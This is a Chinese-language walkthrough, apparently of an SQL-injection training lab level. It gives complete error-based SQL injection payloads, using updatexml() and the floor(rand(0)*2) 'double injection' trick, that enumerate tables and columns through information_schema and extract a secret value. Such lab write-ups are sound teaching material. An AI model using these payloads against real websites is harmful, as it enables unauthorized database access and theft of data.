1. 题目分析
本关提示的是测试次数不要超过5次,其实超过了也没有什么特别大的影响。
首先还是判断id
的类型。
通过?id=1%27
确定id是被''
包裹的。
然后我们先测试一下能否使用联合注入。
当输入?id=-1%27 union select 1,2,3 --+
发现结果如下
因此使用联合注入估计是没戏了。但是可以看到网站没有屏蔽掉报错的信息。
可以使用updatexml()
注入和双注入。
2. 注入过程
2.1 updatexml()注入
-
获取表名
?id=3%27 union select 11,2,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) --+
-
获取字段
?id=3%27 union select 11,2,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=“fl4yb0lwyy”)),1) --+
-
获取密钥
?id=3%27 union select 11,2,updatexml(1,concat(0x7e,(select group_concat(secret_M9TJ) from fl4yb0lwyy)),1) --+
然后提交:
恭喜你,搞定了。
2.2 双注入
首先给出双注入的通用payload
?id=1%27 union select 1,2,(select count(*) from information_schema.tables group by(concat(0x7e,(select database()),floor(rand(0)*2)))) --+
-
查表明
?id=1%27 union select 1,2,(select count(*) from information_schema.tables group by(concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand(0)*2)))) --+
-
查字段
?id=1%27 union select 1,2,(select count(*) from information_schema.tables group by(concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=“samiuv28wp”),floor(rand(0)*2)))) --+
-
查密钥
?id=1%27 union select 1,2,(select count(*) from information_schema.tables group by(concat(0x7e,(select secret_UC0Z from samiuv28wp),floor(rand(0)*2)))) --+
**这里需要注意的是,使用双注入报错的时候,此处使用group_concat()可能会影响报错。(原因不知),因此这里的尽量不要使用group_concat()
**
58-61的方法都是一样的,只有id的类型需要加以判断。